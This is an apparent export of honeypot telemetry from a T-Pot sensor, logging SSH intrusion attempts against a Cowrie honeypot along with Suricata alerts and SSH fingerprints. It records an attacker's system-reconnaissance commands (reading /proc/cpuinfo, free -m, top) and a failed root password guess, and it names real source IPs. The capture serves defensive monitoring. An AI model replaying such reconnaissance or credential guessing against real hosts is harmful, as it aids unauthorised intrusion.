33146	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:31.24115+03	2021-09-20 15:00:04.371722+03	{"_id": "agYOA3wBvYTbRNuExU5o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "1.116.239.130", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5672156810760498, "duplicate": true, "timestamp": "2021-09-20T11:54:31.241150Z", "@timestamp": "2021-09-20T11:54:31.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33147	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:54:31.548391+03	2021-09-20 15:00:04.373723+03	{"_id": "awYOA3wBvYTbRNuExk7E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 551067766402548, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54932, "dest_port": 22, "timestamp": "2021-09-20T11:54:31.548391Z", "@timestamp": "2021-09-20T11:54:31.548Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33148	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:32.22632+03	2021-09-20 15:00:04.374723+03	{"_id": "bwYOA3wBvYTbRNuEyU5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "1.116.239.130", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5530109405517578, "duplicate": true, "timestamp": "2021-09-20T11:54:32.226320Z", "@timestamp": "2021-09-20T11:54:32.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33149	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:32.62556+03	2021-09-20 15:00:04.375723+03	{"_id": "cgYOA3wBvYTbRNuEyU5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:32.625560Z", "@timestamp": "2021-09-20T11:54:32.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33150	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:54:32.673975+03	2021-09-20 15:00:04.377722+03	{"_id": "cwYOA3wBvYTbRNuEyU5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e546630a9ac5", "@version": "1", "duration": 3.392000436782837, "timestamp": "2021-09-20T11:54:32.673975Z", "@timestamp": "2021-09-20T11:54:32.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33151	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:54:32.000917+03	2021-09-20 15:00:04.378722+03	{"_id": "dAYOA3wBvYTbRNuEyk6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:27.756899+0000", "pkts_toclient": 6, "pkts_toserver": 6, "bytes_toclient": 391, "bytes_toserver": 415}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1823331564620963, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 58853, "timestamp": "2021-09-20T11:54:32.000917Z", "@timestamp": "2021-09-20T11:54:32.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
33152	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:33.37005+03	2021-09-20 15:00:04.379722+03	{"_id": "dQYOA3wBvYTbRNuEy063", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55140, "timestamp": "2021-09-20T11:54:33.370050", "@timestamp": "2021-09-20T11:54:33.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33153	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:33.179449+03	2021-09-20 15:00:04.380723+03	{"_id": "fAYOA3wBvYTbRNuEzU45", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "1.116.239.130", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5545127391815186, "duplicate": true, "timestamp": "2021-09-20T11:54:33.179449Z", "@timestamp": "2021-09-20T11:54:33.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33154	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:33.369115+03	2021-09-20 15:00:04.381722+03	{"_id": "gAYOA3wBvYTbRNuEzU46", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "00a5d5dc6e14", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:33.369115Z", "@timestamp": "2021-09-20T11:54:33.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33155	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:33.572831+03	2021-09-20 15:00:04.383723+03	{"_id": "fgYOA3wBvYTbRNuEzU45", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:33.572831Z", "@timestamp": "2021-09-20T11:54:33.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33156	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:34.152507+03	2021-09-20 15:00:04.384722+03	{"_id": "iAYOA3wBvYTbRNuE0U4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "1.116.239.130", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5803024768829346, "duplicate": true, "timestamp": "2021-09-20T11:54:34.152507Z", "@timestamp": "2021-09-20T11:54:34.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33157	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:54:34.871606+03	2021-09-20 15:00:04.385723+03	{"_id": "iQYOA3wBvYTbRNuE0U4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/7777777] failed", "session": "1ab1b505d498", "@version": "1", "password": "7777777", "username": "root", "timestamp": "2021-09-20T11:54:34.871606Z", "@timestamp": "2021-09-20T11:54:34.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33158	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:34.545973+03	2021-09-20 15:00:04.386723+03	{"_id": "igYOA3wBvYTbRNuE0U4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:34.545973Z", "@timestamp": "2021-09-20T11:54:34.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33159	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:25.418718+03	2021-09-20 15:00:04.388723+03	{"_id": "HAYOA3wBvYTbRNuErU7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "1.116.239.130", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5645325183868408, "duplicate": true, "timestamp": "2021-09-20T11:54:25.418718Z", "@timestamp": "2021-09-20T11:54:25.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33160	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:54:25.41674+03	2021-09-20 15:00:04.389722+03	{"_id": "HgYOA3wBvYTbRNuEr05R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:12.486238+0000", "pkts_toclient": 49, "pkts_toserver": 36, "bytes_toclient": 8929, "bytes_toserver": 8294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 706103199689566, "payload": "umdNju45okSu3MdNKg3gzd4Ve4oH8WyWjx9qR474qy5tGiW11of2V6+1LbQntctuVr4Y4fUKI1x8CMz6tVE4sEoHsGA4gHaevrhCg0YzuiCP9qcZUbZdCIO+D3X0LH11iRGsQNzRd7OiU7rT9mQcMdNSCUmL2qNIZG+JNrhQdl5VlkkL1dpD2izDQN0mP8sMEu6Wn7SR+/LoU9OEMIt0EswlFSX+/EApgQz4b+coLu/WS82RCvcHnKHDc7TIwAbJc4KQm9tm8j6rvWZJlGmAUMxVxRrLzHhiLBrQgV0F2i0UfTB6k9EhA0fm7pc5DYqe81WyjjXszDQyvR5P5IimVcRPa3z9OR2p3xMYsVTiRig=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40246, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:54:25.416740Z", "@timestamp": "2021-09-20T11:54:25.416Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".gM..9.D...M*\\r....{...l...jG....m.%....W..-.'..nV....\\n#\\\\|....Q8.J..`8.v...B.F3. ....Q.]....u.,}u...@..w..S...d.1.R.I...Hdo.6.Pv^U.I...C.,.@.&?...........S..0.t..%.%..@)...o.(...K..\\n.....s.....s....f.>..fI.i.P.U....xb,...]..-.}0z..!.G...9\\r...U..5..42..O...U.Ok|.9......T.F("}}	1	\N	\N	alert	known attacker	\N
33161	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:26.799049+03	2021-09-20 15:00:04.390722+03	{"_id": "IAYOA3wBvYTbRNuEsU7a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:26.799049Z", "@timestamp": "2021-09-20T11:54:26.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33162	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:27.365191+03	2021-09-20 15:00:04.392722+03	{"_id": "KgYOA3wBvYTbRNuEtU7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "1.116.239.130", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5662298202514648, "duplicate": true, "timestamp": "2021-09-20T11:54:27.365191Z", "@timestamp": "2021-09-20T11:54:27.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33163	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:28.365417+03	2021-09-20 15:00:04.393723+03	{"_id": "KwYOA3wBvYTbRNuEuU6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "1.116.239.130", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5754237174987793, "duplicate": true, "timestamp": "2021-09-20T11:54:28.365417Z", "@timestamp": "2021-09-20T11:54:28.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33164	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:28.751252+03	2021-09-20 15:00:04.395722+03	{"_id": "LAYOA3wBvYTbRNuEuU6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:28.751252Z", "@timestamp": "2021-09-20T11:54:28.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33165	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:28.75184+03	2021-09-20 15:00:04.397722+03	{"_id": "LQYOA3wBvYTbRNuEuU6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:28.751840Z", "@timestamp": "2021-09-20T11:54:28.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
